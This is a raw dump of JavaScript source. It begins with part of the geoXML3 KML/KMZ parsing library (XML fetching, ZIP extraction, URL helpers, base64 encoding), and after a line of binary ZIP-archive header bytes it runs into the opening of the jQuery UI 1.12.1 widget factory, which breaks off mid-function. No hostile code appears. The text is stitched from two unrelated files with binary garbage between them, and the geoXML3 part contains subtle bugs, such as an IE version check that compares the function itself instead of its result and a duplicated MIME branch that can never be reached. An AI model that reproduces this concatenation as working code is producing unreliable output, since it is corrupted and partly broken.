*
* @param {String} str XML string.
* @return {Element|Document} DOM.
*/
geoXML3.xmlParse = function (str) {
if ((typeof ActiveXObject != 'undefined') ||
("ActiveXObject" in window)) {
var doc = new ActiveXObject('Microsoft.XMLDOM');
doc.loadXML(str);
return doc;
}
if (typeof DOMParser != 'undefined') {
return (new DOMParser()).parseFromString(str, 'text/xml');
}
return document.createElement('div', null);
}
/**
* Checks for XML parse error.
*
* @param {xmlDOM} XML DOM.
* @return boolean.
*/
// from
http://stackoverflow.com/questions/11563554/how-do-i-detect-xml-parsing-errors-when-using-javascripts-domparser-in-a-cross
geoXML3.isParseError = function(parsedDocument) {
if ((typeof ActiveXObject != 'undefined') ||
("ActiveXObject" in window))
return false;
// parser and parsererrorNS could be cached on startup for efficiency
var p = new DOMParser(),
errorneousParse = p.parseFromString('<',
'text/xml'),
parsererrorNS =
errorneousParse.getElementsByTagName("parsererror")[0].namespaceURI;
if (parsererrorNS === 'http://www.w3.org/1999/xhtml') {
// In PhantomJS the parseerror element doesn't seem to have a
special namespace, so we are just guessing here :(
return
parsedDocument.getElementsByTagName("parsererror").length > 0;
}
return parsedDocument.getElementsByTagNameNS(parsererrorNS,
'parsererror').length > 0;
};
/**
* Fetches a XML document.
*
* <p>Fetches/parses the given XML URL and passes the parsed document
(in a
* DOM data structure) to the given callback. Documents are downloaded
* and parsed asynchronously.</p>
*
* @param {String} url URL of XML document. Must be uncompressed XML only.
* @param {Function(Document)} callback Function to call when the document
is processed.
*/
geoXML3.fetchXML = function (url, callback) {
function timeoutHandler() { callback(); };
var xhrFetcher = new Object();
if (!!geoXML3.fetchers.length) xhrFetcher = geoXML3.fetchers.pop();
else if (!!window.XMLHttpRequest) xhrFetcher.fetcher = new
window.XMLHttpRequest(); // Most browsers
else if (!!window.ActiveXObject) {
// Some IE
// the many versions of IE's XML fetchers
var AXOs = [
'MSXML2.XMLHTTP.6.0',
'MSXML2.XMLHTTP.5.0',
'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP',
'MSXML.XMLHTTP'
];
for (var i = 0; i < AXOs.length; i++) {
try { xhrFetcher.fetcher = new ActiveXObject(AXOs[i]); break; }
catch(e) { continue; }
}
if (!xhrFetcher.fetcher) {
geoXML3.log('Unable to create XHR object');
callback(null);
return null;
}
}
xhrFetcher.fetcher.open('GET', url, true);
if (!!xhrFetcher.fetcher.overrideMimeType)
xhrFetcher.fetcher.overrideMimeType('text/xml');
xhrFetcher.fetcher.onreadystatechange = function () {
if (xhrFetcher.fetcher.readyState === 4) {
// Retrieval complete
if (!!xhrFetcher.xhrtimeout) clearTimeout(xhrFetcher.xhrtimeout);
if (xhrFetcher.fetcher.status >= 400) {
geoXML3.log('HTTP error ' + xhrFetcher.fetcher.status +
' retrieving ' + url);
callback();
}
// Returned successfully
else {
if (xhrFetcher.fetcher.responseXML) {
// Sometimes IE will get the data, but won't bother loading it
as an XML doc
var xml = xhrFetcher.fetcher.responseXML;
if (xml && !xml.documentElement &&
!xml.ownerElement) {
xml.loadXML(xhrFetcher.fetcher.responseText);
}
} else {// handle valid xml sent with wrong MIME type
xml=geoXML3.xmlParse(xhrFetcher.fetcher.responseText);
}
// handle parse errors
if (xml.parseError && (xml.parseError.errorCode != 0)) {
geoXML3.log("XML parse error
"+xml.parseError.errorCode+",
"+xml.parseError.reason+"\nLine:"+xml.parseError.line+",
Position:"+xml.parseError.linepos+",
srcText:"+xml.parseError.srcText);
xml = "failed parse"
} else if (geoXML3.isParseError(xml)) {
geoXML3.log("XML parse error");
xml = "failed parse"
}
callback(xml);
}
// We're done with this fetcher object
geoXML3.fetchers.push(xhrFetcher);
}
};
xhrFetcher.xhrtimeout = setTimeout(timeoutHandler, 60000);
xhrFetcher.fetcher.send(null);
return null;
};
var IEversion = function() {
//
http://msdn.microsoft.com/workshop/author/dhtml/overview/browserdetection.asp
// Returns the version of Internet Explorer or a -1
// (indicating the use of another browser).
var rv = -1; // Return value assumes failure
if (navigator.appName == 'Microsoft Internet Explorer') {
var ua = navigator.userAgent;
var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
if (re.exec(ua) != null) {
rv = parseFloat( RegExp.$1 );
}
}
return rv;
};
/**
* Fetches a KMZ document.
*
* <p>Fetches/parses the given ZIP URL, parses each image file, and
passes
* the parsed KML document to the given callback. Documents are downloaded
* and parsed asynchronously, though the KML file is always passed after
the
* images have been processed, in case the callback requires the image
data.</p>
*
* @requires ZipFile.complete.js
* @param {String} url URL of KMZ document. Must be a valid KMZ/ZIP
archive.
* @param {Function(Document)} callback Function to call when the document
is processed.
* @param {geoXML3.parser} parser A geoXML3.parser object. This is used to
populate the KMZ image data.
* @author Brendan Byrd
* @see http://code.google.com/apis/kml/documentation/kmzarchives.html
*/
geoXML3.fetchZIP = function (url, callback, parser) {
// Just need a single 'new' declaration with a really long
function...
var zipFile = new ZipFile(url, function (zip) {
// Retrieval complete
// Check for ERRORs in zip.status
for (var i = 0; i < zip.status.length; i++) {
var msg = zip.status[i];
if (msg.indexOf("ERROR") == 0) {
geoXML3.log('HTTP/ZIP error retrieving ' + url + ':
' + msg);
callback();
return;
}
else if (msg.indexOf("EXCEPTION") == 0) {
geoXML3.log('HTTP/ZIP exception retrieving ' + url +
': ' + msg);
callback();
return;
} else if (msg.indexOf("WARNING") == 0) { // non-fatal,
but still might be useful
geoXML3.log('HTTP/ZIP warning retrieving ' + url +
': ' + msg);
} else if (msg.indexOf("INFO") == 0) { // non-fatal, but
still might be useful
geoXML3.log('HTTP/ZIP info retrieving ' + url + ':
' + msg);
}
}
// Make sure KMZ structure is according to spec (with a single KML file
in the root dir)
var KMLCount = 0;
var KML;
for (var i = 0; i < zip.entries.length; i++) {
var name = zip.entries[i].name;
if (!/\.kml$/.test(name)) continue;
KMLCount++;
if (KMLCount == 1) KML = i;
else {
geoXML3.log('KMZ warning retrieving ' + url + ':
found extra KML "' + name + '" in KMZ;
discarding...');
}
}
// Returned successfully, but still needs extracting
var baseUrl = cleanURL(defileURL(url), url) + '/';
var kmlProcessing = { // this is an object just so it gets passed
properly
timer: null,
extractLeft: 0,
timerCalls: 0
};
var extractCb = function(entry, entryContent) {
var mdUrl = cleanURL(baseUrl, entry.name);
var ext = entry.name.substring(entry.name.lastIndexOf(".")
+ 1).toLowerCase();
kmlProcessing.extractLeft--;
if ((typeof entryContent.description == "string")
&& (entryContent.name == "Error")) {
geoXML3.log('KMZ error extracting ' + mdUrl + ':
' + entryContent.description);
callback();
return;
}
// MIME types that can be used in KML
var mime;
if (ext === 'jpg') ext = 'jpeg';
if (/^(gif|jpeg|png)$/.test(ext)) mime = 'image/' + ext;
else if (ext === 'mp3') mime =
'audio/mpeg';
else if (ext === 'm4a') mime =
'audio/mp4';
else if (ext === 'm4a') mime =
'audio/MP4-LATM';
else mime =
'application/octet-stream';
parser.kmzMetaData[mdUrl] = {};
parser.kmzMetaData[mdUrl].entry = entry;
// data:image/gif;base64,R0lGODlhEAAOALMA...
parser.kmzMetaData[mdUrl].dataUrl = 'data:' + mime +
';base64,' + base64Encode(entryContent);
// IE cannot handle GET requests beyond 2071 characters, even if
it's an inline image
if (/msie/i.test(navigator.userAgent) &&
!/opera/i.test(navigator.userAgent))
{
if (((IEversion() < 8.0) &&
(parser.kmzMetaData[mdUrl].dataUrl.length > 2071)) ||
((IEversion < 9.0) &&
(parser.kmzMetaData[mdUrl].dataUrl.length > 32767))) {
parser.kmzMetaData[mdUrl].dataUrl =
// this is a simple IE icon; to hint at the problem...
'data:image/gif;base64,R0lGODlhDwAQAOMPADBPvSpQ1Dpoyz1p6FhwvU2A6ECP63CM04CWxYCk+V6x+UK++Jao3rvC3fj7+v///yH5BAEKAA8ALAAAAAAPABAAAASC8Mk5mwCAUMlWwcLRHEelLA'
+
'oGDMgzSsiyGCAhCETDPMh5XQCBwYBrNBIKWmg0MCQHj8MJU5IoroYCY6AAAgrDIbbQDGIK6DR5UPhlNo0JAlSUNAiDgH7eNAxEDWAKCQM2AAFheVxYAA0AIkFOJ1gBcQQaUQKKA5w7LpcEBwkJaKMUEQA7';
}
}
parser.kmzMetaData[internalSrc(entry.name)]=parser.kmzMetaData[mdUrl];
};
var kmlExtractCb = function(entry, entryContent) {
if ((typeof entryContent.description == "string")
&& (entryContent.name == "Error")) {
geoXML3.log('KMZ error extracting ' + entry.name +
': ' + entryContent.description);
callback();
return;
}
// check to see if the KML is the last file extracted
clearTimeout(kmlProcessing.timer);
if (kmlProcessing.extractLeft <= 1) {
kmlProcessing.extractLeft--;
callback(geoXML3.xmlParse(entryContent));
return;
}
else {
// KML file isn't last yet; it may need to use those files, so
wait a bit (100ms)
kmlProcessing.timerCalls++;
if (kmlProcessing.timerCalls < 100) {
kmlProcessing.timer = setTimeout(function() { kmlExtractCb(entry,
entryContent); }, 100);
}
else {
geoXML3.log('KMZ warning extracting ' + url + ':
entire ZIP has not been extracted after 10 seconds; running through KML,
anyway...');
kmlProcessing.extractLeft--;
callback(geoXML3.xmlParse(entryContent));
}
}
return;
};
for (var i = 0; i < zip.entries.length; i++) {
var entry = zip.entries[i];
var ext = entry.name.substring(entry.name.lastIndexOf(".")
+ 1).toLowerCase();
if (!/^(gif|jpe?g|png|kml)$/.test(ext)) continue; // not going to
bother to extract files we don't support
if (ext === "kml" && i != KML) continue;
// extra KMLs get discarded
if (!parser && ext != "kml") continue;
// cannot store images without a parser object
// extract asynchronously
kmlProcessing.extractLeft++;
if (ext === "kml") entry.extract(kmlExtractCb);
else entry.extract(extractCb);
}
}); //,3 for most verbose logging
};
/**
* Extract the text value of a DOM node, with leading and trailing
whitespace trimmed.
*
* @param {Element} node XML node/element.
* @param {Any} delVal Default value if the node doesn't exist.
* @return {String|Null}
*/
geoXML3.nodeValue = function(node, defVal) {
var retStr="";
if (!node) {
return (typeof defVal === 'undefined' || defVal === null) ?
null : defVal;
}
if(node.nodeType==3||node.nodeType==4||node.nodeType==2){
retStr+=node.nodeValue;
}else if(node.nodeType==1||node.nodeType==9||node.nodeType==11){
for(var i=0;i<node.childNodes.length;++i){
retStr+=arguments.callee(node.childNodes[i]);
}
}
return retStr;
};
/**
* Loosely translate various values of a DOM node to a boolean.
*
* @param {Element} node XML node/element.
* @param {Boolean} delVal Default value if the node doesn't exist.
* @return {Boolean|Null}
*/
geoXML3.getBooleanValue = function(node, defVal) {
var nodeContents = geoXML3.nodeValue(node);
if (nodeContents === null) return defVal || false;
nodeContents = parseInt(nodeContents);
if (isNaN(nodeContents)) return true;
if (nodeContents == 0) return false;
else return true;
}
/**
* Browser-normalized version of getElementsByTagNameNS.
*
* <p>Required because IE8 doesn't define it.</p>
*
* @param {Element|Document} node DOM object.
* @param {String} namespace Full namespace URL to search against.
* @param {String} tagname XML local tag name.
* @return {Array of Elements}
* @author Brendan Byrd
*/
geoXML3.getElementsByTagNameNS = function(node, namespace, tagname) {
if (node && typeof node.getElementsByTagNameNS !=
'undefined') return node.getElementsByTagNameNS(namespace,
tagname);
if (!node) return [];
var root = node.documentElement || node.ownerDocument &&
node.ownerDocument.documentElement;
if (!root || !root.attributes) return [];
// search for namespace prefix
for (var i = 0; i < root.attributes.length; i++) {
var attr = root.attributes[i];
if (attr.prefix === 'xmlns' && attr.nodeValue
=== namespace) return node.getElementsByTagName(attr.baseName +
':' + tagname);
else if (attr.nodeName === 'xmlns' && attr.nodeValue
=== namespace) {
// default namespace
if (typeof node.selectNodes != 'undefined') {
// Newer IEs have the SelectionNamespace property that can be used
with selectNodes
if
(!root.ownerDocument.getProperty('SelectionNamespaces'))
root.ownerDocument.setProperty('SelectionNamespaces',
"xmlns:defaultNS='" + namespace + "'");
return node.selectNodes('.//defaultNS:' + tagname);
}
else {
// Otherwise, you can still try to tack on the 'xmlns'
attribute to root
root.setAttribute('xmlns:defaultNS', namespace);
return node.getElementsByTagName('defaultNS:' + tagname);
}
}
}
return geoXML3.getElementsByTagName(node, tagname); // try the
unqualified version
};
/**
* Browser-normalized version of getElementsByTagName.
*
* <p>Required because MSXML 6.0 will treat this function as a
NS-qualified function,
* despite the missing NS parameter.</p>
*
* @param {Element|Document} node DOM object.
* @param {String} tagname XML local tag name.
* @return {Array of Elements}
* @author Brendan Byrd
*/
geoXML3.getElementsByTagName = function(node, tagname) {
if (node && typeof node.getElementsByTagNameNS !=
'undefined') return node.getElementsByTagName(tagname); // if it
has both functions, it should be accurate
// if (node && typeof node.selectNodes != 'undefined')
return node.selectNodes(".//*[local-name()='" +
tagname + "']");
return node.getElementsByTagName(tagname); // hope for the best...
}
/**
* Turn a directory + relative URL into an absolute one.
*
* @private
* @param {String} d Base directory.
* @param {String} s Relative URL.
* @return {String} Absolute URL.
* @author Brendan Byrd
*/
var toAbsURL = function (d, s) {
var p, f, i;
var h = location.protocol + "://" + location.host;
if (!s.length) return '';
if (/^\w+:/.test(s)) return s;
if (s.indexOf('/') == 0) return h + s;
p = d.replace(/\/[^\/]*$/, '');
f = s.match(/\.\.\//g);
if (f) {
s = s.substring(f.length * 3);
for (i = f.length; i--;) { p = p.substring(0,
p.lastIndexOf('/')); }
}
return h + p + '/' + s;
}
var internalSrc = function(src) {
//this gets the full url
var url = document.location.href;
//this removes everything after the last slash in the path
url = url.substring(0,url.lastIndexOf("/") + 1);
var internalPath= url+src;
return internalPath;
}
/**
* Remove current host from URL
*
* @private
* @param {String} s Absolute or relative URL.
* @return {String} Root-based relative URL.
* @author Brendan Byrd
*/
var dehostURL = function (s) {
var h = location.protocol + "://" + location.host;
h = h.replace(/([\.\\\+\*\?\[\^\]\$\(\)])/g, '\\$1'); //
quotemeta
return s.replace(new RegExp('^' + h, 'i'),
'');
}
/**
* Removes all query strings, #IDs, '../' references, and
* hosts from a URL.
*
* @private
* @param {String} d Base directory.
* @param {String} s Absolute or relative URL.
* @return {String} Root-based relative URL.
* @author Brendan Byrd
*/
var cleanURL = function (d, s) { return dehostURL(toAbsURL(d ?
d.split('#')[0].split('?')[0] :
defileURL(location.pathname), s ?
s.split('#')[0].split('?')[0] : '')); }
/**
* Remove filename from URL
*
* @private
* @param {String} s Relative URL.
* @return {String} Base directory.
* @author Brendan Byrd
*/
var defileURL = function (s) { return s ? s.substr(0,
s.lastIndexOf('/') + 1) : '/'; }
// Some extra Array subs for ease of use
//
http://stackoverflow.com/questions/143847/best-way-to-find-an-item-in-a-javascript-array
Array.prototype.hasObject = (
!Array.indexOf ? function (obj) {
var l = this.length + 1;
while (l--) {
if (this[l - 1] === obj) return true;
}
return false;
} : function (obj) {
return (this.indexOf(obj) !== -1);
}
);
Array.prototype.hasItemInObj = function (name, item) {
var l = this.length + 1;
while (l--) {
if (this[l - 1][name] === item) return true;
}
return false;
};
if (!Array.prototype.indexOf) {
Array.prototype.indexOf = function (obj, fromIndex) {
if (fromIndex == null) {
fromIndex = 0;
} else if (fromIndex < 0) {
fromIndex = Math.max(0, this.length + fromIndex);
}
for (var i = fromIndex, j = this.length; i < j; i++) {
if (this[i] === obj) return i;
}
return -1;
};
}
Array.prototype.indexOfObjWithItem = function (name, item, fromIndex) {
if (fromIndex == null) {
fromIndex = 0;
} else if (fromIndex < 0) {
fromIndex = Math.max(0, this.length + fromIndex);
}
for (var i = fromIndex, j = this.length; i < j; i++) {
if (this[i][name] === item) return i;
}
return -1;
};
/**
* Borrowed from jquery.base64.js, with some "Array as input"
corrections
*
* @private
* @param {Array of charCodes} input An array of byte ASCII codes (0-255).
* @return {String} A base64-encoded string.
* @author Brendan Byrd
*/
var base64Encode = function(input) {
var keyString =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
while (i < input.length) {
chr1 = input[i++];
chr2 = input[i++];
chr3 = input[i++];
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (chr2 == undefined) enc3 = enc4 = 64;
else if (chr3 == undefined) enc4 = 64;
output = output + keyString.charAt(enc1) + keyString.charAt(enc2) +
keyString.charAt(enc3) + keyString.charAt(enc4);
}
return output;
};
PK2��[����js/jquery-ui-draggable.jsnu�[���/*!
jQuery UI - v1.12.1 - 2019-12-24
* http://jqueryui.com
* Includes: widget.js, data.js, scroll-parent.js, widgets/draggable.js,
widgets/mouse.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */
(function( factory ) {
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define([ "jquery" ], factory );
} else {
// Browser globals
factory( jQuery );
}
}(function( $ ) {
$.ui = $.ui || {};
var version = $.ui.version = "1.12.1";
/*!
* jQuery UI Widget 1.12.1
* http://jqueryui.com
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*/
//>>label: Widget
//>>group: Core
//>>description: Provides a factory for creating stateful widgets
with a common API.
//>>docs: http://api.jqueryui.com/jQuery.widget/
//>>demos: http://jqueryui.com/widget/
var widgetUuid = 0;
var widgetSlice = Array.prototype.slice;
$.cleanData = ( function( orig ) {
return function( elems ) {
var events, elem, i;
for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) {
try {
// Only trigger remove when necessary to save time
events = $._data( elem, "events" );
if ( events && events.remove ) {
$( elem ).triggerHandler( "remove" );
}
// Http://bugs.jquery.com/ticket/8235
} catch ( e ) {}
}
orig( elems );
};
} )( $.cleanData );
$.widget = function( name, base, prototype ) {
var existingConstructor, constructor, basePrototype;
// ProxiedPrototype allows the provided prototype to remain unmodified
// so that it can be used as a mixin for multiple widgets (#8876)
var proxiedPrototype = {};
var namespace = name.split( "." )[ 0 ];
name = name.split( "." )[ 1 ];
var fullName = namespace + "-" + name;
if ( !prototype ) {
prototype = base;
base = $.Widget;
}
if ( $.isArray( prototype ) ) {
prototype = $.extend.apply( null, [ {} ].concat( prototype ) );
}
// Create selector for plugin
$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
return !!$.data( elem, fullName );
};
$[ namespace ] = $[ namespace ] || {};
existingConstructor = $[ namespace ][ name ];
constructor = $[ namespace ][ name ] = function( options, element ) {
// Allow instantiation without "new" keyword
if ( !this._createWidget ) {
return new constructor( options, element );
}
// Allow instantiation without initializing for simple inheritance
// must use "new" keyword (the code above always passes args)
if ( arguments.length ) {
this._createWidget( options, element );
}
};
// Extend with the existing constructor to carry over any static
properties
$.extend( constructor, existingConstructor, {
version: prototype.version,
// Copy the object used to create the prototype in case we need to
// redefine the widget later
_proto: $.extend( {}, prototype ),
// Track widgets that inherit from this widget in case this widget is
// redefined after a widget inherits from it
_childConstructors: []
} );
basePrototype = new base();
// We need to make the options hash a property directly on the new
instance
// otherwise we'll modify the options hash on the prototype that
we're
// inheriting from
basePrototype.options = $.widget.extend( {}, basePrototype.options );
$.each( prototype, function( prop, value ) {
if ( !$.isFunction( value ) ) {
proxiedPrototype[ prop ] = value;
return;
}
proxiedPrototype[ prop ] = ( function() {
function _super() {
return base.prototype[ prop ].apply( this, arguments );
}
function _superApply( args ) {
return base.prototype[ prop ].apply( this, args );
}
return function() {
var __super = this._super;
var __superApply = this._superApply;
var returnValue;
this._super = _super;
this._superApply = _superApply;
returnValue = value.apply( this, arguments );
this._super = __super;
this._superApply = __superApply;
return returnValue;
};
} )();
} );
constructor.prototype = $.widget.extend( basePrototype, {
// TODO: remove support for widgetEventPrefix
// always use the name + a colon as the prefix, e.g., draggable:start
// don't prefix for widgets that aren't DOM-based
widgetEventPrefix: existingConstructor ? (
basePrototype.widgetEventPrefix || name ) : name
}, proxiedPrototype, {
constructor: constructor,
namespace: namespace,
widgetName: name,
widgetFullName: fullName
} );
// If this widget is being redefined then we need to find all widgets that
// are inheriting from it and redefine all of them so that they inherit
from
// the new version of this widget. We're essentially trying to
replace one
// level in the prototype chain.
if ( existingConstructor ) {
$.each( existingConstructor._childConstructors, function( i, child ) {
var childPrototype = child.prototype;
// Redefine the child widget using the same prototype that was
// originally used, but inherit from the new version of the base
$.widget( childPrototype.namespace + "." +
childPrototype.widgetName, constructor,
child._proto );
} );
// Remove the list of existing child constructors from the old
constructor
// so the old child constructors can be garbage collected
delete existingConstructor._childConstructors;
} else {
base._childConstructors.push( constructor );
}
$.widget.bridge( name, constructor );
return constructor;
};
$.widget.extend = function( target ) {
var input = widgetSlice.call( arguments, 1 );
var inputIndex = 0;
var inputLength = input.length;
var key;
var value;
for ( ; inputIndex < inputLength; inputIndex++ ) {
for ( key in input[ inputIndex ] ) {
value = input[ inputIndex ][ key ];
if ( input[ inputIndex ].hasOwnProperty( key ) && value !==
undefined ) {
// Clone objects
if ( $.isPlainObject( value ) ) {
target[ key ] = $.isPlainObject( target[ key ] ) ?
$.widget.extend( {}, target[ key ], value ) :
// Don't extend strings, arrays, etc. with objects
$.widget.extend( {}, value );
// Copy everything else by reference
} else {
target[ key ] = value;
}
}
}
}
return target;
};
$.widget.bridge = function( name, object ) {
var fullName = object.prototype.widgetFullName || name;
$.fn[ name ] = function( options ) {
var isMethodCall = typeof options === "string";
var args = widgetSlice.call( arguments, 1 );
var returnValue = this;
if ( isMethodCall ) {
// If this is an empty collection, we need to have the instance method
// return undefined instead of the jQuery instance
if ( !this.length && options === "instance" ) {
returnValue = undefined;
} else {
this.each( function() {
var methodValue;
var instance = $.data( this, fullName );
if ( options === "instance" ) {
returnValue = instance;
return false;
}
if ( !instance ) {
return $.error( "cannot call methods on " + name +
" prior to initialization; " +
"attempted to call method '" + options +
"'" );
}
if ( !$.isFunction( instance[ options ] ) || options.charAt( 0 ) ===
"_" ) {
return $.error( "no such method '" + options +
"' for " + name +
" widget instance" );
}
methodValue = instance[ options ].apply( instance, args );
if ( methodValue !== instance && methodValue !== undefined ) {
returnValue = methodValue && methodValue.jquery ?
returnValue.pushStack( methodValue.get() ) :
methodValue;
return false;
}
} );
}
} else {
// Allow multiple hashes to be passed on init
if ( args.length ) {
options = $.widget.extend.apply( null, [ options ].concat( args ) );
}
this.each( function() {
var instance = $.data( this, fullName );
if ( instance ) {
instance.option( options || {} );
if ( instance._init ) {
instance._init();
}
} else {
$.data( this, fullName, new object( options, this ) );
}
} );
}
return returnValue;
};
};
$.Widget = function( /* options, element */ ) {};
$.Widget._childConstructors = [];
$.Widget.prototype = {
widgetName: "widget",
widgetEventPrefix: "",
defaultElement: "<div>",
options: {
classes: {},
disabled: false,
// Callbacks
create: null
},
_createWidget: function( options, element ) {
element = $( element || this.defaultElement || this )[ 0 ];
this.element = $( element );
this.uuid = widgetUuid++;
this.eventNamespace = "." + this.widgetName + this.uuid;
this.bindings = $();
this.hoverable = $();
this.focusable = $();
this.classesElementLookup = {};
if ( element !== this ) {
$.data( element, this.widgetFullName, this );
this._on( true, this.element, {
remove: function( event ) {
if ( event.target === element ) {
this.destroy();
}
}
} );
this.document = $( element.style ?
// Element within the document
element.ownerDocument :
// Element is window or document
element.document || element );
this.window = $( this.document[ 0 ].defaultView || this.document[ 0
].parentWindow );
}
this.options = $.widget.extend( {},
this.options,
this._getCreateOptions(),
options );
this._create();
if ( this.options.disabled ) {
this._setOptionDisabled( this.options.disabled );
}
this._trigger( "create", null, this._getCreateEventData() );
this._init();
},
_getCreateOptions: function() {
return {};
},
_getCreateEventData: $.noop,
_create: $.noop,
_init: $.noop,
destroy: function() {
var that = this;
this._destroy();
$.each( this.classesElementLookup, function( key, value ) {
that._removeClass( value, key );
} );
// We can probably remove the unbind calls in 2.0
// all event bindings should go through this._on()
this.element
.off( this.eventNamespace )
.removeData( this.widgetFullName );
this.widget()
.off( this.eventNamespace )
.removeAttr( "aria-disabled" );
// Clean up events and states
this.bindings.off( this.eventNamespace );
},
_destroy: $.noop,
widget: function() {
return this.element;
},
option: function( key, value ) {
var options = key;
var parts;
var curOption;
var i;
if ( arguments.length === 0 ) {
// Don't return a reference to the internal hash
return $.widget.extend( {}, this.options );
}
if ( typeof key === "string" ) {
// Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___
} }
options = {};
parts = key.split( "." );
key = parts.shift();
if ( parts.length ) {
curOption = options[ key ] = $.widget.extend( {}, this.options[ key ]
);
for ( i = 0; i < parts.length - 1; i++ ) {
curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
curOption = curOption[ parts[ i ] ];
}
key = parts.pop();
if ( arguments.length === 1 ) {
return curOption[ key ] === undefined ? null : curOption[ key ];
}
curOption[ key ] = value;
} else {
if ( arguments.length === 1 ) {
return this.options[ key ] === undefined ? null : this.options[ key ];
}
options[ key ] = value;
}
}
this._setOptions( options );
return this;
},
_setOptions: function( options ) {
var key;
for ( key in options ) {
this._setOption( key, options[ key ] );
}
return this;
},
_setOption: function( key, value ) {
if ( key === "classes" ) {
this._setOptionClasses( value );
}
this.options[ key ] = value;
if ( key === "disabled" ) {
this._setOptionDisabled( value );
}
return this;
},
_setOptionClasses: function( value ) {
var classKey, elements, currentElements;
for ( classKey in value ) {
currentElements = this.classesElementLookup[ classKey ];
if ( value[ classKey ] === this.options.classes[ classKey ] ||
!currentElements ||
!currentElements.length ) {
continue;
}
// We are doing this to create a new jQuery object because the
_removeClass() call
// on the next line is going to destroy the reference to the current
elements being
// tracked. We need to save a copy of this collection so that we can add
the new classes
// below.
elements = $( currentElements.get() );
this._removeClass( currentElements, classKey );
// We don't use _addClass() here, because that uses
this.options.classes
// for generating the string of classes. We want to use the value passed
in from
// _setOption(), this is the new value of the classes option which was
passed to
// _setOption(). We pass this value directly to _classes().
elements.addClass( this._classes( {
element: elements,
keys: classKey,
classes: value,
add: true
} ) );
}
},
_setOptionDisabled: function( value ) {
this._toggleClass( this.widget(), this.widgetFullName +
"-disabled", null, !!value );
// If the widget is becoming disabled, then nothing is interactive
if ( value ) {
this._removeClass( this.hoverable, null, "ui-state-hover" );
this._removeClass( this.focusable, null, "ui-state-focus" );
}
},
enable: function() {
return this._setOptions( { disabled: false } );
},
disable: function() {
return this._setOptions( { disabled: true } );
},
_classes: function( options ) {
var full = [];
var that = this;
options = $.extend( {
element: this.element,
classes: this.options.classes || {}
}, options );
function processClassString( classes, checkOption ) {
var current, i;
for ( i = 0; i < classes.length; i++ ) {
current = that.classesElementLookup[ classes[ i ] ] || $();
if ( options.add ) {
current = $( $.unique( current.get().concat( options.element.get() ) )
);
} else {
current = $( current.not( options.element ).get() );
}
that.classesElementLookup[ classes[ i ] ] = current;
full.push( classes[ i ] );
if ( checkOption && options.classes[ classes[ i ] ] ) {
full.push( options.classes[ classes[ i ] ] );
}
}
}
this._on( options.element, {
"remove": "_untrackClassesElement"
} );
if ( options.keys ) {
processClassString( options.keys.match( /\S+/g ) || [], true );
}
if ( options.extra ) {
processClassString( options.extra.match( /\S+/g ) || [] );
}
return full.join( " " );
},
_untrackClassesElement: function( event ) {
var that = this;
$.each( that.classesElementLookup, function( key, value ) {
if ( $.inArray( event.target, value ) !== -1 ) {
that.classesElementLookup[ key ] = $( value.not( event.target ).get()
);
}
} );
},
_removeClass: function( element, keys, extra ) {
return this._toggleClass( element, keys, extra, false );
},
_addClass: function( element, keys, extra ) {
return this._toggleClass( element, keys, extra, true );
},
_toggleClass: function( element, keys, extra, add ) {
add = ( typeof add === "boolean" ) ? add : extra;
var shift = ( typeof element === "string" || element === null
),
options = {
extra: shift ? keys : extra,
keys: shift ? element : keys,
element: shift ? this.element : element,
add: add
};
options.element.toggleClass( this._classes( options ), add );
return this;
},
_on: function( suppressDisabledCheck, element, handlers ) {
var delegateElement;
var instance = this;
// No suppressDisabledCheck flag, shuffle arguments
if ( typeof suppressDisabledCheck !== "boolean" ) {
handlers = element;
element = suppressDisabledCheck;
suppressDisabledCheck = false;
}
// No element argument, shuffle and use this.element
if ( !handlers ) {
handlers = element;
element = this.element;
delegateElement = this.widget();
} else {
element = delegateElement = $( element );
this.bindings = this.bindings.add( element );
}
$.each( handlers, function( event, handler ) {
function handlerProxy() {
// Allow widgets to customize the disabled handling
// - disabled as an array instead of boolean
// - disabled class as method for disabling individual parts
if ( !suppressDisabledCheck &&
( instance.options.disabled === true ||
$( this ).hasClass( "ui-state-disabled" ) ) ) {
return;
}
return ( typeof handler === "string" ? instance[ handler ] :
handler )
.apply( instance, arguments );
}
// Copy the guid so direct unbinding works
if ( typeof handler !== "string" ) {
handlerProxy.guid = handler.guid =
handler.guid || handlerProxy.guid || $.guid++;
}
var match = event.match( /^([\w:-]*)\s*(.*)$/ );
var eventName = match[ 1 ] + instance.eventNamespace;
var selector = match[ 2 ];
if ( selector ) {
delegateElement.on( eventName, selector, handlerProxy );
} else {
element.on( eventName, handlerProxy );
}
} );
},
_off: function( element, eventName ) {
eventName = ( eventName || "" ).split( " " ).join(
this.eventNamespace + " " ) +
this.eventNamespace;
element.off( eventName ).off( eventName );
// Clear the stack to avoid memory leaks (#10056)
this.bindings = $( this.bindings.not( element ).get() );
this.focusable = $( this.focusable.not( element ).get() );
this.hoverable = $( this.hoverable.not( element ).get() );
},
_delay: function( handler, delay ) {
function handlerProxy() {
return ( typeof handler === "string" ? instance[ handler ] :
handler )
.apply( instance, arguments );
}
var instance = this;
return setTimeout( handlerProxy, delay || 0 );
},
_hoverable: function( element ) {
this.hoverable = this.hoverable.add( element );
this._on( element, {
mouseenter: function( event ) {
this._addClass( $( event.currentTarget ), null,
"ui-state-hover" );
},
mouseleave: function( event ) {
this._removeClass( $( event.currentTarget ), null,
"ui-state-hover" );
}
} );
},
_focusable: function( element ) {
this.focusable = this.focusable.add( element );
this._on( element, {
focusin: function( event ) {
this._addClass( $( event.currentTarget ), null,
"ui-state-focus" );
},
focusout: function( event ) {
this._removeClass( $( event.currentTarget ), null,
